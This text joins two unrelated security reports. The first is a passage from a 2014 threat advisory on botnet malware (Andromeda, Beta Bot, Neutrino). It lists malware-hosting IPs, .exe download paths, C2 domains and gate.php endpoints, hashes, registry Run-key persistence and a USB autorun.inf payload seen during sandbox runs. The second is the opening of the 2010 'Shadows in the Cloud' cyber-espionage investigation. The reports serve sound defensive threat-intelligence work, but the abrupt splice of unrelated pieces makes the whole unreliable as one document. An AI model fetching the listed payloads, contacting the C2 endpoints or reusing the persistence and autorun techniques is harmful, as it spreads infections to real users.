Win32.Androm Trojan.
Win32.Betabot Worm.
Win32.Dorkbot Backdoor.
Win32.Ruskill Trojan.
Win32.Neurevt Worm.
Win32.Ngrbot Trojan-Spy.
Win32.SpyEyes Trojan-Spy.
Win32.Zbot Backdoor.
Win32.Azbreg Trojan.
Win32.Badur Trojan.
Win32.Inject Trojan.
Win32.Sharik Trojan.
Win32.Yakes Trojan- Downloader.
Win32.Agent Trojan- Dropper.
Win32.Injector Manufacturing/Healthcare 121.14.212[.
]184 China Backdoor.
Win32.Androm Worm.
Win32.Ngrbot Backdoor.
Win32.Ruskill Trojan.
Win32.Badur Trojan.
Win32.Inject Trojan.
Win32.Yakes Trojan.
Win32.Sysn Manufacturing/Healthcare/Government 155.133.18[.
]44 Poland Backdoor.
Win32.Androm Worm.
Win32.Ngrbot Trojan.
Win32.Badur Trojan.
Win32.Yakes 54.68.121[.
]73 US (Amazon) Backdoor.
Win32.Androm Trojan.
Proxy.
Win32.Lethic Worm.
Win32.Ngrbot Government www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 7 of 16       Bots, Machines, and the Matrix Trojan.
Win32.Badur Trojan.
Win32.Inject 54.68.194[.
]154 US (Amazon) Backdoor.
Win32.Androm Backdoor.
Win32.Ruskill Trojan.
Win32.Yakes 119.1.109[.
]44 China Backdoor.
Win32.Androm Worm.
Win32.Ngrbot Backdoor.
Win32.Ruskill Trojan.
Win32.Badur Trojan.
Win32.Yakes 158.255.1[.
]241 Russia Backdoor.
Win32.Androm Worm.
Win32.Ngrbot Trojan.
Win32.Badur Trojan.
Win32.Yakes Government 54.191.142[.
]124 US (Amazon) Backdoor.
Win32.Androm Worm.
Win32.Ngrbot Trojan.
Win32.Badur Worm.
Win32.Hamweq Trojan.
Win32.Sysn Risk Assessment A bot malware has features like anti-reversing, credential stealing/keystroke logging/form grabbing, DNS changer, process injection, antivirus process killing, blocking of security related websites, backdoor, and others.
They also have features to spread themselves through USB removable drives, social networking sites, and messaging clients.
In addition, they could also infiltrate the network when the victim user visits a website hosting a browser exploit.
Once the attacker gains control, the infected system could be used to launch Distributed Denial of Service attacks, spread the bot to other victims, download more advanced malware to perform lateral propagation, etc.
The attackers (Bot Masters/Herders) could also rent their botnets to other cybercriminals.
Indicators and Mitigation Strategies This section presents information about some of the servers we have observed hosting and distributing malware, filename patterns, as well as a triage analysis of various pieces of malware observed delivered by these servers - Servers observed hosting and distributing malware: 121.11.83[.
]7 121.14.212[.
]184 119.1.109[.
]44 117.21.191[.
]47 155.133.18[.
]44 155.133.18[.
]45 158.255.1[.
]241 217.23.6[.
]112 54.191.142[.
]124 54.68.121[.
]73 54.68.194[.
]154 54.69.90[.
]62 www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 8 of 16       Bots, Machines, and the Matrix 77.87.79[.
]128 - Some of the filename patterns observed: 121.11.83[.
]7/and40a70.exe 121.11.83[.
]7/bet40a71.exe 121.11.83[.
]7/ng40a71.exe 155.133.18[.
]45/37a1.exe 54.69.90[.
]62/330740a71.exe 54.69.90[.
]62/bnew40a71.exe 155.133.18[.
]45/109a7.exe 155.133.18[.
]45/51a5.exe 155.133.18[.
]45/62.exe 121.14.212[.
]184/ng33.exe 121.14.212[.
]184/zpm39a.exe 155.133.18[.
]45/141a1.exe 217.23.6[.
]112/98.exe 54.191.142[.
]124/zpm37.exe 54.69.90[.
]62/bnew40a85.exe 121.11.83[.
]7/nut40a71.exe 54.69.90[.
]62/dqnew40a81.exe 119.1.109[.
]44/and33.exe 217.23.6[.
]112/330740x.exe 77.87.79[.
]128/37extra.exe 158.255.1[.
]241/ng38a.exe - Triage analysis of various pieces of malware observed delivered by servers mentioned in this report: (Please note that the activity in this section has been recorded per initial file infection and not individually per file downloaded and executed by the initial malware under investigation) o Andromeda MD5: 036eb11a5751c77bc65006769921c8e5 This file was observed hosted in the following servers: 1.
119.1.109[.
]44/and37.exe (China) 2.
121.14.212[.
]184/and37.exe (China) 3.
54.68.121[.
]73/and37.exe (US) File information: File Name:  and37.exe File Size:  118784 bytes MD5:        036eb11a5751c77bc65006769921c8e5 SHA1:       c6966d9557a9d5ffbbcd7866d45eddff30a9fd99 PE Time:    0x5431A1E4 [Sun Oct 05 19:54:12 2014 UTC] PEID Sig:   Microsoft Visual C 8 Sections (4): Name      Entropy  MD5 .text     6.48     851019d9ac5c3c1853a62535bb42fe25 .rdata    5.48     5e0faee1b5962f3b0e7ef0cd07b07d90 .data     4.99     87595d36a05bbbfdab643e78f1b1dad4 .rsrc     6.59     5923da4653b7fcb4ee9062367873a2ed The malware appears to implement anti-reversing techniques preventing its executing inside a virtual machine environment (VME).
This malware is believed to be a variant from the Andromeda Bot malware family.
When the file was executed in a Windows 7 system, the following activity was observed: Domain:   a2kiaymoster14902[.
]com Resolved IP:   121.14.212[.
]248 (China) POST request:   /bla02/gate.php GET request:  54.69.90[.
]62/and40a90.exe (US) File downloaded:  b62391f3f7cbdea02763614f60f3930f (msitygyd.exe) Full path and name: C:\ProgramData\msitygyd.exe Process injection:  C:\Windows\SysWOW64\msiexec.exe www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 9 of 16       Bots, Machines, and the Matrix o Beta Bot MD5: 9e8b203f487dfa85dd47e32b3d24e24e This file was observed hosted in the following servers: 1.
117.21.191.47/betw9.exe (China) 2.
54.191.142.124/bet4.exe (US) File information: File Name:  betw9.exe File Size:  379904 bytes MD5:        9e8b203f487dfa85dd47e32b3d24e24e SHA1:       de6a4d53b5265f8cddf08271d17d845f58107e82 PE Time:    0x5414994B [Sat Sep 13 19:21:47 2014 UTC] PEID Sig:   Microsoft Visual C 8 Sections (4): Name      Entropy  MD5 .text     6.47     4e347b4bb29e39a97c5803db1ee53321 .rdata    1.99     692d4fc093dc013fa7d86bee7b85c0f9 .data     4.22     52daa66602eb4a3aa8effd3a287efbf7 .rsrc     6.1      9b2a41b9bc48ccff04effe10bb0fb839 .rsrc     6.59     5923da4653b7fcb4ee9062367873a2ed The malware did not appear to implement anti-reversing techniques and properly executed inside a VME.
This malware is believed to be a variant from the Beta Bot malware family.
When the file was executed in a Windows XP system, the following activity was observed: Domain:   b.9thegamejuststarted14k9[.
]com Resolved IP:   116.255.202[.
]74 (China) POST request:   /direct/mail/order.php?id9156969 GET request:  121.14.212[.
]184/ng40a54.exe (China) File downloaded:  fe8c978f05f3a83af7c8905f94f71213 (mxbrwtqjjvk.exe) Full path and name: TEMP\mxbrwtqjjvk.exe GET request:  121.14.212[.
]184/and40a54.exe (China) File downloaded:  7599016887b4d6c0e3bc2ecda983161f (cmqgvyqtpkh.exe) Full path and name: TEMP\cmqgvyqtpkh.exe Made a copy itself to: CommonProgramFiles\CreativeAudio\ldhkkangs.exe Hash of file copy: 9e8b203f487dfa85dd47e32b3d24e24e Registry entrenchment: Key:  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Value Name: CreativeAudio Value Data: C:\Program Files\Common Files\CreativeAudio\ldhkkangs.exe Key:  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Value Name: CreativeAudio Value Data: C:\Program Files\Common Files\CreativeAudio\ldhkkangs.exe www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 10 of 16       Bots, Machines, and the Matrix Process Injection: C:\Program Files\Internet Explorer\iexplore.exe Screenshot of the registry activity: Screenshot showing a handle of the malware in the iexplorer.exe process: o Neutrino Bot MD5: 463f7191363d0391add327c1270d7fe6 This file was observed hosted in the following servers: 1.
121.14.212[.
]184/nut40a52.exe (China) 2.
155.133.18[.
]45/nut40a52.exe (Poland) File information: File Name:  nut40a52.exe File Size:  145408 bytes MD5:        463f7191363d0391add327c1270d7fe6 SHA1:       a87c5b6a588ef4b351ce1a3a0fe2b035e685e96c PE Time:    0x546D0881 [Wed Nov 19 21:15:45 2014 UTC] PEID Sig:   Microsoft Visual C 8 Sections (4): Name      Entropy  MD5 .text     6.65     6fe50af0b54ed30227099ea6b9e7178b .rdata    5.54     43ff7c660e83eeff9a7db4abf0ceab04 .data     5.74     e19f755461a13879499bd1e8e7471807 .rsrc     7.66     399357dac81db1ae19c69e8a2b7e5311 The malware appears to implement anti-reversing techniques preventing it from properly executing inside a VME.
In a bare-metal system, the malware worked properly.
This malware is believed to be a variant from the Neutrino Bot malware family.
When the file was executed in a Windows 7 system, the following activity was observed: Domain:     nutqlfkq123a10[.
]com Resolved IP:     121.61.118[.
]140 (China) POST request:     /newfiz3/tasks.php Data:    ping1 www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 11 of 16       Bots, Machines, and the Matrix Server response: pong POST request:     /newfiz3/tasks.php Data:    getcmd1uid[removed]osWin7Enterprise(x64) avSymantecEndpointProtectionnatyesversion3.2.1 serial[removed]quality0 POST request:     /newfiz3/tasks.php Data:    taskexec1task_id1416470040933917 GET request:  54.69.90[.
]62/330740a91.exe File downloaded:  b21e4c8f73151d7b0294a3974fe44421 Full name:  330740a91.exe Made a copy itself to: APPDATA\Roaming\WIN-S0MT3UJUS2O\splwow64.exe Hash of file copied: 463f7191363d0391add327c1270d7fe6 Created file:  C:\ProgramData\bett2f00\hemxccape.exe File hash:  9cf7d079713fdf715131e16b144d3f52 Created file:  C:\ProgramData\msitygyd.exe File hash:  2983d957d4cdd9293682cfaf21147d07 Created file:  TEMP\7403542.exe File hash:  72380a9fcf7486bb731606d4f4c13f27 Created file:  TEMP\7395367.exe File hash:  f220f0a48885bafc29b31fb7228cc4bb USB drive infection: Created file:  c1fa3e4ee1e2e5b088bc657b0b5a3b8e Full path and name: [USB_DRIVE]\autorun.inf File contents: [autorun] OPENWinSystemKB001.exe actionRun Created file:  463f7191363d0391add327c1270d7fe6 Full path and name: [USB_DRIVE]\WinSystemKB001.exe Note:  This is a copy of original file executed.
Registry entrenchment: Key:  HKCU\Software\Microsoft\Windows\CurrentVersion\Run Value Name: A38973873873 Value Data: C:\ProgramData\bett2f00\hemxccape.exe Key:  HKCU\Software\Microsoft\Windows\CurrentVersion\Run Value Name: splwow64.exe Value Data: APPDATA\Roaming\WIN-S0MT3UJUS2O\splwow64.exe Key:  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run Value Name: 172157644 www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 12 of 16       Bots, Machines, and the Matrix Value Data: C:\ProgramData\msitygyd.exe Process Injection: C:\Windows\SysWOW64\WerFault.exe Screenshot showing a handle of the malware in the WerFault.exe process: Screenshot of related processes running in the victim system: o Andromeda Bot MD5: 13475d0fdba8dc7a648b57b10e8296d5 This file was observed hosted in the following servers: 1.
117.21.191[.
]47/and40a37.exe (China) 2.
54.68.121[.
]73/and40a37.exe (US) File information: File Name:  and40a37.exe File Size:  122368 bytes MD5:        13475d0fdba8dc7a648b57b10e8296d5 SHA1:       feed5337c0a3b1fd55c78a976fbd5388512a22e1 PE Time:    0x54636BD2 [Wed Nov 12 14:16:50 2014 UTC] PEID Sig:   Microsoft Visual C 8 Sections (4): Name      Entropy  MD5 .text     6.42     c93f36300bb882b4671b7ef0a8bd4fba .rdata    5.43     55af9f1d8e50e49fdf10742179486281 www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 13 of 16       Bots, Machines, and the Matrix .data     5.32     1b24669aa9245cef2358a9d76dab97be .rsrc     6.94     4f0f11c52935735aa0e65f04b95ed208 The malware appears to implement anti-reversing techniques preventing it from properly executing inside a VME.
In a bare-metal system, the malware worked properly.
This malware is believed to be a variant from the Andromeda Bot malware family.
When the file was executed in a Windows 7 system, the following activity was observed: Domain:     a2kiaymoster14902[.
]com Resolved IP:     121.14.212[.
]248 (China) POST request:     /bla02/gate.php Made a copy itself to: C:\ProgramData\msitygyd.exe Hash of file copied: 13475d0fdba8dc7a648b57b10e8296d5 Registry entrenchment: Key:  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ Value name: 172157644 Value data: C:\ProgramData\msitygyd.exe Key:  HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\ CurrentVersion\Policies\Explorer\Run Value name: 172157644 Value data: C:\ProgramData\msitygyd.exe Process Injection: C:\Windows\SysWOW64\msiexec.exe The malware appears to have rootkit functionality.
The hidden WinDefend service points to the following DLL: C:\Program Files (x86)\Windows Defender\mpsvc.dll.
The system was found to have a valid mpsvc.dll file under the C:\Program Files\Windows Defender\ directory.
The following screenshot show GMER detecting the hidden service: The following is a summary of all the domains and IPs observed during the analysis of the selected malware: o a2kiaymoster14902[.
]com - 121.14.212[.
]248 (China) www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 14 of 16       Bots, Machines, and the Matrix o 54.69.90[.
]62/and40a90.exe (US) o b.9thegamejuststarted14k9[.
]com - 116.255.202[.
]74 (China) o 121.14.212[.
]184/ng40a54.exe / 121.14.212[.
]184/and40a54.exe (China) o nutqlfkq123a10[.
]com - 121.61.118[.
]140 (China) For information about hashes related to this activity, please look at the spreadsheet enclosed with this report which contains relationships between servers and hashes.
Further Analysis And Correlation The following diagram illustrates the relationship between some of the malicious servers, malware hosted/distributed, and vertical markets: www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 15 of 16       Bots, Machines, and the Matrix The following diagram is based on the analysis/execution of some of the malware hosted and distributed by the malicious servers.
It illustrates the relationship between some of the malicious servers, locations, malware hosted/distributed, and malicious servers to which the malware beacons to with POST requests and to download additional malware: The Fidelis Take This paper highlights campaigns that has compromised systems at significant enterprises worldwide, utilizing various bot malware.
We are publishing these indicators so others in the security research community can monitor for this activity and potentially correlate against other campaigns and tools that are being investigated.
General Dynamics Fidelis advanced threat defense product, Fidelis XPS, detects all of the activity documented in this paper.
Further, we will continue to follow this specific activity and actively monitor the ever-evolving threat landscape for the latest threats to our customers security.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
1.1 2014-12-12 Threat Advisory 1014 Page 16 of 16       Bots, Machines, and the Matrix References 1.
Neutrino Bot (aka MS:Win32/Kasidet), June 2014: http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html 2.
Renting a Zombie Farm: Botnets and the Hacker Economy, August 2014: http://www.symantec.com/connect/blogs/renting-zombie-farm-botnets-and-hacker-economy 3.
DorkBot, a Twin Botnet of NgrBot, August 2014: http://blog.fortinet.com/post/dorkbot-a-twin-botnet-of- ngrbot 4.
Big Box LatAm Hack (1st part - Betabot), January 2014: http://securelist.com/blog/research/58213/big-box-latam-hack-1st-part-betabot/ 5.
A Good Look at the Andromeda Botnet, April 2014: https://blog.fortinet.com/post/a-good-look-at-the- andromeda-botnet 6.
CVE-2013-2729 and Andromeda 2.9 - A Massive HSBC themed email campaign, June 2014: http://stopmalvertising.com/spam-scams/cve-2013-2729-and-andromeda-2.9-a-massive-hsbc- themed-email-campaign/andromeda-botnet.html 7.
Beta Bot  A Code Review, November 2013: http://www.arbornetworks.com/asert/2013/11/beta-bot- a-code-review/ 8.
Athena, A DDoS Malware Odyssey, Nov 2013: http://www.arbornetworks.com/asert/2013/11/athena- a-ddos-malware-odyssey/ 9.
Andromeda Botnet Gets an Update, July 2013: http://blog.trendmicro.com/trendlabs-security- intelligence/andromeda-botnet-gets-an-update/ 10.
New Commercial Trojan INTH3WILD: Meet Beta Bot, May 2013: https://blogs.rsa.com/new- commercial-trojan-inth3wild-meet-beta-bot/ 11.
A new bot on the market: Beta Bot, May 2013: https://blog.gdatasoftware.com/blog/article/a-new-bot- on-the-market-beta-bot.html 12.
Andromeda Botnet Resurfaces, March 2013: http://blog.trendmicro.com/trendlabs-security- intelligence/andromeda-botnet-resurfaces/ 13.
Fooled by Andromeda, March 2013: http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/ 14.
Botnets Die Hard - Owned and Operated  Defcon 20: July 2012: https://www.defcon.org/images/defcon-20/dc-20-presentations/Sood-Enbody/DEFCON-20-Sood- Enbody-Botnets-Die-Hard.PDF.pdf 15.
A Chat With NGR Bot, June 2012: http://resources.infosecinstitute.com/ngr-rootkit/ 16.
Analysis of ngrBot, August 2011: http://stopmalvertising.com/rootkits/analysis-of-ngrbot.html
JOINT REPORT: Information Warfare Monitor Shadowserver Foundation April 6, 2010 SHADOWS IN THE CLOUD: Investigating Cyber Espionage 2.0 INFOWAR MONITOR JR03-2010 WEB VERSION.
Also found here: http://shadows-in-the-cloud.net http://www.shadowserver.org http://www.infowar-monitor.net http://www.shadowserver.org http://www.citizenlab.org http://www.infowar-monitor.net http://www.secdev.ca http://shadows-in-the-cloud.net JR03-2010 Shadows in the Cloud - FOREWORD I Foreword Crime and espionage form a dark underworld of cyberspace.
Whereas crime is usually the first to seek out new opportunities and methods, espionage usually follows in its wake, borrowing techniques and tradecraft.
The Shadows in the Cloud report illustrates the increasingly dangerous ecosystem of crime and espionage and its embeddedness in the fabric of global cyberspace.
This ecosystem is the product of numerous factors.
Attackers employ complex, adaptive attack techniques that demonstrate high-level ingenuity and opportunism.
They take advantage of the cracks and fissures that open up in the fast-paced transformations of our technological world.
Every new software program, social networking site, cloud computing, or cheap hosting service that is launched into our everyday digital lives creates an opportunity for this ecosystem to morph, adapt, and exploit.
It has also emerged because of poor security practices of users, from individuals to large organizations.
We take for granted that the information and communications revolution is a relatively new phenomenon, still very much in the midst of unceasing epochal change.
Public institutions have adopted these new technologies faster than procedures and rules have been created to deal with the radical transparency and accompanying vulnerabilities they introduce.
Today, data is transferred from laptops to USB sticks, over wireless networks at caf hot spots, and stored across cloud computing services whose servers are located in far-off political jurisdictions.
These new modalities of communicating de-concentrate and disperse the targets of exploitation, multiplying the points of exposure and potential compromise.
Paradoxically, documents and data are probably safer in a file cabinet, behind the bureaucrats careful watch, than they are on the PC today.
The ecosystem of crime and espionage is also emerging because of opportunism on the part of actors.
Cyber espionage is the great equalizer.
Countries no longer have to spend billions of dollars to build globe-spanning satellites to pursue high-level intelligence gathering, when they can do so via the web.
We have no evidence in this report of the involvement of the Peoples Republic of China (PRC) or any other government in the Shadow network.
But an important question to be entertained is whether the PRC will take action to shut the Shadow network down.
Doing so will help to address long-standing concerns that malware ecosystems are actively cultivated, or at the very least tolerated, by governments like the PRC who stand to benefit from their exploits though the black and grey markets for information and data.
Finally, the ecosystem is emerging because of a propitious policy environment  or rather the absence of one  at a global level.
Governments around the world are engaged in a rapid race to militarize cyber space, to develop tools and methods to fight and win wars in this domain.
This arms race creates an opportunity structure ripe for crime and espionage to flourish.
In the absence of norms, principles and rules of mutual restraint at a global level, a vacuum exists for subterranean exploits to fill.
There is a real risk of a perfect storm in cyberspace erupting out of this vacuum that threatens to subvert cyberspace itself, either through over-reaction, a spiraling arms race, the imposition of heavy-handed controls, or through gradual irrelevance as people disconnect out of fear of insecurity.
JR03-2010 Shadows in the Cloud - FOREWORD II There is, therefore, an urgent need for a global convention on cyberspace that builds robust mechanisms of information sharing across borders and institutions, defines appropriate rules of the road for engagement in the cyber domain, puts the onus on states to not tolerate or encourage mischievous networks whose activities operate from within their jurisdictions, and protects and preserves this valuable global commons.
Until such a normative and policy shift occurs, the shadows in the cloud may grow into a dark, threatening storm.
Ron Deibert Director, the Citizen Lab, Munk School of Global Affairs University of Toronto Rafal Rohozinski CEO, The SecDev Group (Ottawa) JR03-2010 Shadows in the Cloud - ACKNOWLEDGMENTS III Acknowledgments This investigation is a result of a collaboration between the Information Warfare Monitor and the Shadowserver Foundation.
Our ability to share critical information and analytical insights within a dedicated group of professionals allowed us to uncover and investigate the operation of the network documented in this report.
The Information Warfare Monitor (infowar-monitor.net) is a joint activity of the Citizen Lab, Munk School of Global Affairs, University of Toronto, and the SecDev Group, an operational consultancy based in Ottawa specialising in evidence-based research in countries and regions under threat of insecurity and violence.
The Shadowserver Foundation (shadowserver.org) was established in 2004 and is comprised of volunteer security professionals that investigate and monitor malware, botnets, and malicious attacks.
Both the Information Warfare Monitor and the Shadowserver Foundation aim to understand and accurately report on emerging cyber threats as they develop.
Steven Adair is a security researcher with the Shadowserver Foundation.
He frequently analyzes malware, tracks botnets, and deals with cyber attacks of all kinds with a special emphasis on those linked to cyber espionage.
Ron Deibert is Director of the Citizen Lab at the Munk School of Global Affairs, University of Toronto.
He is a co-founder and principal investigator of the OpenNet Initiative and Information Warfare Monitor.
He is Vice President, Policy and Outreach, Psiphon Inc., and a principal with the SecDev Group.
Rafal Rohozinski is CEO of the SecDev Group and Psiphon Inc.
He is a co-founder and principal investigator of the OpenNet Initiative and Information Warfare Monitor, and a senior research advisor at the Citizen Lab, Munk School of Global Affairs, University of Toronto.
Nart Villeneuve is the Chief Security Officer at the SecDev Group, Director of Operations of Psiphon Inc. and a senior SecDev research fellow at the Citizen Lab at the Munk School of Global Affairs, University of Toronto where he focuses on electronic surveillance, targeted malware and politically motivated digital attacks.
Greg Walton conducted and coordinated the primary field-based research for the Shadow investigation in His Holiness the Dalai Lamas Office and the Tibetan Government-in-Exile in Dharamsala, India.
Greg is a SecDev Group associate and editor of the Information Warfare Monitor website.
He is the SecDev Fellow at the Citizen Lab at the Munk School of Global Affairs, University of Toronto.
This report represents a collective activity and numerous others also contributed to the research effort.
This includes individuals in India, who for security reasons we cannot name.
We are also grateful to the Office of His Holiness the Dalai Lama.
The research of the Citizen Lab and the Information Warfare Monitor is supported by a generous grant from the John D. and Catherine T. MacArthur Foundation, in-kind and staff contributions from the SecDev Group, and a generous donation of software from Palantir Technologies Inc. We are very grateful to Masashi Crete-Nishihata (Citizen Lab) and Arnav Manchanda (SecDev Group) for research assistance, and to Jane Gowan (Agent 5 Design and Citizen Lab) for layout and design.
JR03-2010 Shadows in the Cloud - EXECUTIVE SUMMARY IV Executive Summary Shadows in the Cloud documents a complex ecosystem of cyber espionage that systematically compromised government, business, academic, and other computer network systems in India, the Offices of the Dalai Lama, the United Nations, and several other countries.
The report also contains an analysis of data which were stolen from politically sensitive targets and recovered during the course of the investigation.
These include documents from the Offices of the Dalai Lama and agencies of the Indian national security establishment.
Data containing sensitive information on citizens of numerous third-party countries, as well as personal, financial, and business information, were also exfiltrated and recovered during the course of the investigation.
The report analyzes the malware ecosystem employed by the Shadows attackers, which leveraged multiple redundant cloud computing systems, social networking platforms, and free web hosting services in order to maintain persistent control while operating core servers located in the Peoples Republic of China (PRC).
Although the identity and motivation of the attackers remain unknown, the report is able to determine the location (Chengdu, PRC) as well as some of the associations of the attackers through circumstantial evidence.
The investigation is the product of an eight month, collaborative activity between the Information Warfare Monitor (Citizen Lab and SecDev) and the Shadowserver Foundation.
The investigation employed a fusion methodology, combining technical interrogation techniques, data analysis, and field research, to track and uncover the Shadow cyber espionage network.
Summary of Main Findings Complex cyber espionage network   - Documented evidence of a cyber espionage network that compromised govern- ment, business, and academic computer systems in India, the Office of the Dalai Lama, and the United Nations.
Numerous other institutions, including the Embassy of Pakistan in the United States, were also compromised.
Some of these institutions can be positively identified, while others cannot.
Theft of classified and sensitive documents   - Recovery and analysis of exfiltrated data, including one document that appears to be encrypted diplomatic correspondence, two documents marked SECRET, six as RESTRICTED, and five as CONFIDENTIAL.
These documents are identified as belonging to the Indian government.
However, we do not have direct evidence that they were stolen from Indian government computers and they may have been compromised as a result of being copied onto personal computers.
The recovered documents also include 1,500 letters sent from the Dalai Lamas office between January and November 2009.
The profile of documents recovered suggests that the attack- ers targeted specific systems and profiles of users.
Evidence of collateral compromise   - A portion of the recovered data included visa applications submitted to Indian diplomatic missions in Afghanistan.
This data was voluntarily provided to the Indian missions by nationals of 13 coun- tries as part of the regular visa application process.
In a context like Afghanistan, this finding points to the complex nature of the information security challenge where risks to individuals (or operational security) can occur as a result of a data compromise on secure systems operated by trusted partners.
Command-and-control infrastructure that leverages cloud-based social media services   - Documentation of a com- plex and tiered command and control infrastructure, designed to maintain persistence.
The infrastructure made use of freely available social media systems that include Twitter, Google Groups, Blogspot, Baidu Blogs, blog.com and Yahoo Mail.
This top layer directed compromised computers to accounts on free web hosting services, and as the free hosting servers were disabled, to a stable core of command and control servers located in the PRC.
Links to Chinese  hacking community   - Evidence of links between the Shadow network and two individuals living in Chengdu, PRC to the underground hacking community in the PRC.
JR03-2010  Shadows in the Cloud - TABLE OF CONTENTS Table of Contents Part I: Background and Context  p. 1 1.1  Introduction - Building upon GhostNet  p. 2 1.2  About the Shadows in the Cloud Investigation - Beyond GhostNet  p. 4 1.3  Research Framework  p. 5 Part II: Methodology and Investigative Techniques p. 7 2.1  Methodology  p. 8 2.2  Field Investigation  p. 8 2.3  Technical Investigative Activities  p. 10 Part III: Mapping the Shadows in the Cloud  p. 12 3.1  Analysis of Data while in the Field p. 14 3.2.
Technical Investigation p. 16 3.3  Command and Control Infrastructure p. 20 Part IV: Targets and Effects p. 25 4.1  Compromised Victims: the evidence p. 26 4.2.
Victim Analysis on the basis of recovered documents p. 30 Part V: Tackling Cyber Espionage p. 36 5.1  Attribution and cyber crime / cyber espionage p. 37 5.3  Notification p. 40 Part VI: Conclusions p. 42 Bibliography and Suggested Readings p. 45 Glossary p. 51 PART 1: Background and Context JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND  CONTEXT 2 1.1  Introduction - Building upon GhostNet Research into computer network exploitation, cyber espionage, malware and botnets has expanded in recent years from a relatively small cottage industry involving primarily technical experts to a major global phenomenon which now includes academia, defence, intelligence, law enforcement, and the private sector.
The rapid rise of this industry is in part a recognition of the significant threat that these global criminal ecosystems represent to critical infrastructure, government systems, personal privacy, commerce, and defense.
Several high profile cases and events, including the attacks on Google and other American companies in December 2009, underscore the growing threat environment and suggest that these attacks are becoming the norm rather than an exception.
Policymakers are responding with legislation, institutional reforms and new initiatives, and an already sizable market for cyber security services is mushrooming into a multi-billion dollar global industry.
This report aims to contribute to research and debate in this domain.
Its release is strategic, coming roughly one year after the publication of Tracking GhostNet (See Box 1, below).
Box 1.
Tracking GhostNet: Lessons Learned Tracking Ghostnet: Investigating a Cyber Espionage Network was the product of a ten-month investigation and analysis focused on allegations of Chinese cyber espionage against the Tibetan community.
The research entailed field-based investigations in India, Europe and North America working directly with affected Tibetan organizations, including the Private Office of the Dalai Lama, the Tibetan Government-in-Exile, and several Tibetan NGOs in Europe and North America.
The fieldwork generated extensive data that allowed us to examine Tibetan information security practices, as well as capture evidence of malware that had penetrated Tibetan computer systems.
We also engaged in extensive data analysis and technical investigation of web-based interfaces to command and control servers that were used by attackers to send instructions to, and receive data from compromised computers.
The report documented a wide ranging network of compromised computers, including at least 1,295 spread across 103 countries, 30 percent of which we identified and determined to be high-value targets, including ministries of foreign affairs, embassies, international organizations, news organizations, and a computer located at NATO headquarters.
Although there was circumstantial evidence pointing to elements within the Peoples Republic of China, our investigation concluded that there was not enough evidence to implicate the Chinese government itself and attribution behind GhostNet remains a mystery.
The reports aftermath was a learning experience.
The data that had been collected during the GhostNet investigation included sensitive information about compromised computers in over a hundred countries.
Many of the victims were understandably concerned about which of their computers were targeted and compromised, and came to us for information.
On our side, we felt unsure about the protocol around information sharing, and were in an awkward position to be able to give information over to governments and affected parties directly without being entirely clear about whom would be responsible and whether or not our interlocutors were appropriate authorities.
The notification problems around Ghostnet informed our approach to the Shadows in the Cloud investigation, including being more conscious from the outset of documenting our notification procedures.
The title of the report   Shadows in the Cloud: An Investigation into Cyber Espionage 2.0  is suggestive of several threads that wind their way through the investigation.
First, the malware networks we document and analyze are to a large degree organized and operated through the misuse of social networking and cloud com- puting platforms, including Google, Baidu, Yahoo, and Twitter, in addition to traditional command and control servers.
Second, although we are able to piece together circumstantial evidence that provides the location and possible associations of the attackers, their actual identities and motivations remain illusory.
We catch a glimpse JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND  CONTEXT 3 of a shadow of attribution in the cloud, in other words, but have no positive identification.
The 2.0 designation also contains a double entendre: it refers to a generational shift we believe is unfolding in malware networks in multiple dimensions, from what were once primarily simple to increasingly complex, adaptive systems spread across redundant services and platforms, and from criminal and industrial-based exploitation to political, mili- tary, and intelligence-focused espionage.
The 2.0 reference is also meant to note how the Shadow investigation is both a re-engagement with, but also a departure from, its predecessor: the Tracking GhostNet investigation.
This report is a continuation of Tracking GhostNet, but also represents a significantly new investigation yielding different and more nuanced evidence and analysis of the evolving cybercrime and cyber espionage environ- ment.
As with GhostNet, we are interested in better understanding the evolving nature and complex ecosystem of todays malware networks and see this investigation as helping to build a knowledge base around cyber se- curity research.
In this respect, Shadows in the Cloud is very much a work-in-progress, insofar as we began this investigation by picking up several threads that were left open-ended or unanswered in the original GhostNet investigation, and expect to continue to examine threads that are left hanging in this report.
